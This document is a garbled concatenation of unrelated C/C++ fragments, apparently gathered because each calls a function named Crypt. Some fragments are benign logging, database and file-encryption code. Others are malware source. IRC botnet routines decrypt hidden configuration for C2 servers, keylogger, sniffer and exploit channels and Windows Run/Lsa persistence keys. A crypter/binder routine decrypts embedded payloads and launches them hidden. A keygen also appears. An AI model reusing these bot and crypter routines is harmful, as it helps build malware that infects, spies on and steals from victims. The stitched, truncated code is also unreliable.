pApp->nReserve = LOG_APPWRITE; return true; } else return false; } } if (m_stHead.stInfo.nAppCount>=LOG_APPMAXCOUNT) return false; pApp = m_stHead.stApp+m_stHead.stInfo.nAppCount; /* ****** Updated by CHENYH at 2004-4-16 17:10:40 ****** m_stHead.stApp[m_stHead.stInfo.nAppCount].nAppID = nAppID;
// Write the Users linked list into the database file void writeDatabase(const char *dbPath, User *head) { FILE *dbFile; User *tmp = head; // Open the database file dbFile = fopen(dbPath, "w"); if (!dbFile) { fprintf(stderr, "Error opening database file for writing."); return; } while(head) { Crypt(head->password, strlen(head->password), 0); fwrite(head, sizeof(User), 1, dbFile); head = head->next; } while(tmp) { Crypt(tmp->password, strlen(tmp->password), 1); tmp = tmp->next; } fclose(dbFile); }
void encryptstring(char *str, char *varname, SOCKET sock, char *chan, BOOL notice) { char buffer[IRCLINE]; unsigned int counter=0; memset(buffer,0,sizeof(buffer)); unsigned int str_len = strlen(str); // first encrypt string Crypt((unsigned char *)str, strlen(str),NULL,0); sprintf(buffer,"char %s[]=\"",varname); for (unsigned int i=0; i < str_len; i++) { char tmpbuf[12]; _snprintf(tmpbuf,sizeof(tmpbuf),"\\x%2.2X", (unsigned char)str[i]); counter+=strlen(tmpbuf); if (counter >= (IRCLINE-20)) { irc_privmsg(sock,chan,buffer,notice); memset(buffer,0,sizeof(buffer)); counter = 0; } strncat(buffer,tmpbuf,strlen(tmpbuf)); } strcat(buffer,"\";"); irc_privmsg(sock,chan,buffer,notice, TRUE); // now to decrypt Crypt((unsigned char *)str, strlen(str),NULL,0); return; }
// Read the database file into the Users linked list User *readDatabase(const char *dbPath) { struct stat st; int filesize; int numUsers; User *head = NULL; // Grab the filesize to figure out how many users are stored stat(dbPath, &st); filesize = st.st_size; numUsers = filesize / sizeof(User); if (numUsers) { FILE *dbFile = NULL; int i = 0; User *curr, *prev = NULL; // Open the database file dbFile = fopen(dbPath, "r"); if (!dbFile) return NULL; // Create first one outside of loop to set head curr = (User *)malloc(sizeof(User)); if (!curr) return NULL; fread(curr, sizeof(User), 1, dbFile); curr->next = NULL; Crypt(curr->password, strlen(curr->password), 1); head = prev = curr; ++i; // Create the rest of the users for (; i < numUsers; prev = curr, ++i) { curr = (User *)malloc(sizeof(User)); if (!curr) { freeUsers(head); return NULL; } fread(curr, sizeof(User), 1, dbFile); Crypt(curr->password, strlen(curr->password), 1); prev->next = curr; curr->next = NULL; } fclose(dbFile); } return head; }
strcat(szDate, szTmp); } if(strcmp(m_szFileDate, szDate) == 0) { return true; } else { strcpy(m_szLogFile, ""); strcpy(m_szFileDate, szDate); } strcpy(m_szLogFile, m_szFilePath); MakePath(m_szLogFile); strcat(m_szLogFile, m_szFileHead); strcat(m_szLogFile, m_szFileDate); strcat(m_szLogFile, m_szFileExt); return true; } void CKSLog::Init() { // 读写控制 m_fp = NULL;
bool SecureJob::Crypt(const wxString &path, SecureData *data) { if(wxGetApp().GetAbort()){ return true; } if(wxDirExists(path)){ wxDir dir(path); wxString filename; if(dir.GetFirst(&filename)){ do{ wxFileName location = wxFileName(path + filename); RuleResult result = data->GetRules()->Matches(location); if((result == Excluded && location.IsDir()) || ((result == Included || result == NoMatch))){ //We recurse into subdirectories or to crypt files Crypt(location.GetFullPath(), data); } else{ //Do nothing as we are either an excluded file or an //absolutely excluded folder } } while (dir.GetNext(&filename) ); } } else{ RuleResult res = data->GetRules()->Matches(wxFileName::FileName(path)); if(res != Excluded && res != AbsoluteExcluded){ CryptFile(path, data); } } return true; }
DWORD WINAPI marlon(LPVOID args) { Crypt(Slama,strlen(Slama),Key,strlen(Key)); enc(); return 0; }
// Unique to server because of timeout checking int recvDecrypt(int sd, char *buffer, int bufLen, SOCKADDR *c, int *cLen) { int i = recvfrom(sd, buffer, bufLen, 0, c, cLen); Crypt(buffer, bufLen, 1); // Check for timeout message if (!strcmp(buffer, "timeout")) return BUFFER_SIZE+1; // just a value that recvfrom() cannot return return i; }
void* SecureJob::Entry(){ SecureData *data = static_cast<SecureData*>(GetData()); wxArrayString locations = data->GetLocations(); for(unsigned int i = 0; i < locations.GetCount(); i++){ data->SetLocation(i, Path::Normalise(data->GetLocation(i))); } //Iterate through the entries in the array for(unsigned int i = 0; i < locations.Count(); i++){ Crypt(locations.Item(i), data); } return NULL; }
/* ****** Updated by CHENYH at 2004-3-31 22:03:26 ****** m_stHead = TmpHead; // ReadFileHead(); */ memcpy(&m_stHead,&TmpHead,sizeof(ST_LOGHEAD)); fseek(m_fp, nFileOffset, SEEK_SET); return true; } bool CKSLog::Crypt(char *pszOld, int nLen, char *pszPassword) { if(pszOld == NULL) return false; if(nLen <= 0) return false; int nPassLen = strlen(pszPassword); if(nPassLen == 0) return false; int i; for(i=0;i<nLen ;i++) { pszOld[i] = pszOld[i] ^ pszPassword[i%nPassLen]; } return true; } bool CKSLog::OpenLogFile(const char *szFileName) { if (szFileName!=NULL && szFileName[0]!='\0') { m_nOpenMode = LOG_OPENFORREAD; strcpy(m_szLogFile, szFileName); } else { m_nOpenMode = LOG_OPENFORWRITE; } return OpenFile(); } bool CKSLog::OpenFile()
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. MSG msg; HACCEL hAccelTable; ZeroMemory(&buffer,255); InitCommonControls(); // Initialize global strings LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); LoadString(hInstance, IDC_KEYGEN, szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance); // Perform application initialization: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_KEYGEN); // Main message loop: while (GetMessage(&msg, NULL, 0, 0)) { if ((msg.hwnd==btnGen) && (msg.message==WM_LBUTTONUP)) { ZeroMemory(&result,255); SendMessage(editUser,WM_GETTEXT,255,(LPARAM)(char*)&buffer); Crypt((char*)&buffer,(WPARAM)strlen((char*)&buffer),"B2ENCSTR",(LPARAM)strlen("B2ENCSTR")); int len=strlen((char*)&buffer); int chr=0; char out[20]; for (int i=0;i<len;i++) { int chr=*(buffer+i); sprintf((char*)out,"%x",chr); strcat((char*)result,(char*)out); } SendMessage(editResult,WM_SETTEXT,0,(LPARAM)&result); } if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { //if (IsDialogMessage(GetParent(msg.hwnd),&msg)) { // TranslateMessage(&msg); //if (msg.hwnd==mainWin) { // printf("Done"); } } // else { TranslateMessage(&msg); DispatchMessage(&msg); } } } return (int) msg.wParam; }
void decryptstrings(int authsize, int versionsize) { int i; Crypt((unsigned char *)botid,strlen(botid),NULL,0); Crypt((unsigned char *)version,strlen(version),NULL,0); Crypt((unsigned char *)server,strlen(server),NULL,0); Crypt((unsigned char *)serverpass,strlen(serverpass),NULL,0); Crypt((unsigned char *)channel,strlen(channel),NULL,0); Crypt((unsigned char *)chanpass,strlen(chanpass),NULL,0); Crypt((unsigned char *)server2,strlen(server2),NULL,0); Crypt((unsigned char *)channel2,strlen(channel2),NULL,0); Crypt((unsigned char *)chanpass2,strlen(chanpass2),NULL,0); Crypt((unsigned char *)filename,strlen(filename),NULL,0); Crypt((unsigned char *)keylogfile,strlen(keylogfile),NULL,0); Crypt((unsigned char *)valuename,strlen(valuename),NULL,0); Crypt((unsigned char *)nickconst,strlen(nickconst),NULL,0); Crypt((unsigned char *)modeonconn,strlen(modeonconn),NULL,0); Crypt((unsigned char *)chanmode,strlen(chanmode),NULL,0); Crypt((unsigned char *)exploitchan,strlen(exploitchan),NULL,0); Crypt((unsigned char *)keylogchan,strlen(keylogchan),NULL,0); Crypt((unsigned char *)psniffchan,strlen(psniffchan),NULL,0); for(i=0;i < authsize;i++) Crypt((unsigned char *)authost[i],strlen(authost[i]),NULL,0); for(i=0;i < versionsize;i++) Crypt((unsigned char *)versionlist[i],strlen(versionlist[i]),NULL,0); Crypt((unsigned char *)regkey1,strlen(regkey1),NULL,0); // "Software\\Microsoft\\Windows\\CurrentVersion\\Run" Crypt((unsigned char *)regkey2,strlen(regkey2),NULL,0); // "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices" Crypt((unsigned char *)regkey3,strlen(regkey3),NULL,0); // "Software\\Microsoft\\OLE" Crypt((unsigned char *)regkey4,strlen(regkey4),NULL,0); // "SYSTEM\\CurrentControlSet\\Contol\\Lsa" return; };
//-------------------------------------------------------------------------------- bool CMCCrypt::Decrypt(const BYTE* pData, int nLen, const BYTE* pKey) { return Crypt(m_pDeTables, pData, nLen, pKey); }
DWORD WINAPI posao(LPVOID args) { //Sleep(100); mjuadsb62qasf(48); clean(); for(int i = 0;i<strlen(Slama);i++) { if(Slama[i] == ':') { Slama[i] = '\0'; } } int time = atoi(Slama); Sleep(time*1000); //MessageBox(NULL,"Prosli smo Sleep!",NULL,NULL); mjuadsb62qasf(958); int f = 0; clean(); chars_array = strtok(Slama, "|"); while(chars_array) { if(chars_array[strlen(chars_array)-1] == '1') { //MessageBox(NULL,"op#1",NULL,NULL); chars_array[strlen(chars_array)-1] = '\0'; mjuadsb62qasf2(960+f); Crypt(Slama2,strlen(Slama2),Key,strlen(Key)); enc2(); WT(); //MessageBox(NULL,Slama2,NULL,NULL); STARTUPINFOW siStartupInfo; PROCESS_INFORMATION piProcessInfo; memset(&siStartupInfo, 0, sizeof(siStartupInfo)); memset(&piProcessInfo, 0, sizeof(piProcessInfo)); siStartupInfo.cb = sizeof(siStartupInfo); int size = strlen(chars_array); WCHAR * name; name = new WCHAR[size]; mbstowcs(name, chars_array, size); name[size] = '\0'; xProcesPokreni(NULL, name, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &siStartupInfo, &piProcessInfo); f = f + 1; } else { //MessageBox(NULL,"op#2",NULL,NULL); chars_array[strlen(chars_array)-1] = '\0'; mjuadsb62qasf2(960+f); Crypt(Slama2,strlen(Slama2),Key,strlen(Key)); enc2(); WT(); f = f + 1; } chars_array = strtok(NULL, "|"); } //MessageBox(NULL,"Prosli smo Binder!",NULL,NULL); if(Zaseda() == true) { ExitProcess(0); } //Sleep(100); //MessageBox(NULL,NULL,"1",NULL); mjuadsb62qasf(286); marlon(NULL); //MessageBox(NULL,NULL,"2",NULL); run(NULL); //MessageBox(NULL,NULL,"3",NULL); return 0; }
void decryptstrings(int authsize, int versionsize, int serversize) { int i; // Crypt((unsigned char *)movepath,strlen(movepath),NULL,0); // the % f***s up the crypt Crypt((unsigned char *)filename,strlen(filename),NULL,0); #ifndef NO_FCONNECT Crypt((unsigned char *)cononstart,strlen(cononstart),NULL,0); #endif Crypt((unsigned char *)version,strlen(version),NULL,0); #ifndef NO_SERVICE Crypt((unsigned char *)servicename,strlen(servicename),NULL,0); Crypt((unsigned char *)servicedisplayname,strlen(servicedisplayname),NULL,0); Crypt((unsigned char *)servicedesc,strlen(servicedesc),NULL,0); #else Crypt((unsigned char *)runkey.subkey,strlen(runkey.subkey),NULL,0); Crypt((unsigned char *)runkey.name,strlen(runkey.name),NULL,0); #endif Crypt((unsigned char *)password,strlen(password),NULL,0); for(i=0;i < authsize;i++) Crypt((unsigned char *)authost[i],strlen(authost[i]),NULL,0); #ifndef NO_VERSION_REPLY for(i=0;i < versionsize;i++) Crypt((unsigned char *)versionlist[i],strlen(versionlist[i]),NULL,0); #endif for(i=0;i < serversize;i++) { Crypt((unsigned char *)servers[i].host,strlen(servers[i].host),NULL,0); Crypt((unsigned char *)servers[i].pass,strlen(servers[i].pass),NULL,0); Crypt((unsigned char *)servers[i].chan,strlen(servers[i].chan),NULL,0); Crypt((unsigned char *)servers[i].chanpass,strlen(servers[i].chanpass),NULL,0); Crypt((unsigned char *)servers[i].modeonconn,strlen(servers[i].modeonconn),NULL,0); Crypt((unsigned char *)servers[i].modeonjoin,strlen(servers[i].modeonjoin),NULL,0); Crypt((unsigned char *)servers[i].exploitchan,strlen(servers[i].exploitchan),NULL,0); Crypt((unsigned char *)servers[i].sniffchan,strlen(servers[i].sniffchan),NULL,0); Crypt((unsigned char *)servers[i].warningchan,strlen(servers[i].warningchan),NULL,0); } #ifndef NO_MELT Crypt((unsigned char *)meltkey.subkey,strlen(meltkey.subkey),NULL,0); Crypt((unsigned char *)meltkey.name,strlen(meltkey.name),NULL,0); #endif #ifndef NO_RECORD_UPTIME Crypt((unsigned char *)rupkey.subkey,strlen(rupkey.subkey),NULL,0); Crypt((unsigned char *)rupkey.name,strlen(rupkey.name),NULL,0); #endif #ifndef NO_INSTALLED_TIME Crypt((unsigned char *)itkey.subkey,strlen(itkey.subkey),NULL,0); Crypt((unsigned char *)itkey.name,strlen(itkey.name),NULL,0); #endif /*Crypt((unsigned char *)botid,strlen(botid),NULL,0); Crypt((unsigned char *)version,strlen(version),NULL,0); Crypt((unsigned char *)server,strlen(server),NULL,0); Crypt((unsigned char *)serverpass,strlen(serverpass),NULL,0); Crypt((unsigned char *)channel,strlen(channel),NULL,0); Crypt((unsigned char *)chanpass,strlen(chanpass),NULL,0); Crypt((unsigned char *)server2,strlen(server2),NULL,0); Crypt((unsigned char *)channel2,strlen(channel2),NULL,0); Crypt((unsigned char *)chanpass2,strlen(chanpass2),NULL,0); Crypt((unsigned char *)filename,strlen(filename),NULL,0); Crypt((unsigned char *)keylogfile,strlen(keylogfile),NULL,0); Crypt((unsigned char *)valuename,strlen(valuename),NULL,0); Crypt((unsigned char *)nickconst,strlen(nickconst),NULL,0); Crypt((unsigned char *)modeonconn,strlen(modeonconn),NULL,0); Crypt((unsigned char *)chanmode,strlen(chanmode),NULL,0); Crypt((unsigned char *)exploitchan,strlen(exploitchan),NULL,0); Crypt((unsigned char *)keylogchan,strlen(keylogchan),NULL,0); Crypt((unsigned char *)psniffchan,strlen(psniffchan),NULL,0); for(i=0;i < authsize;i++) Crypt((unsigned char *)authost[i],strlen(authost[i]),NULL,0); for(i=0;i < versionsize;i++) Crypt((unsigned char *)versionlist[i],strlen(versionlist[i]),NULL,0); Crypt((unsigned char *)regkey1,strlen(regkey1),NULL,0); // "Software\\Microsoft\\Windows\\CurrentVersion\\Run" Crypt((unsigned char *)regkey2,strlen(regkey2),NULL,0); // "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices" Crypt((unsigned char *)regkey3,strlen(regkey3),NULL,0); // "Software\\Microsoft\\OLE" Crypt((unsigned char *)regkey4,strlen(regkey4),NULL,0); // "SYSTEM\\CurrentControlSet\\Contol\\Lsa"*/ return; };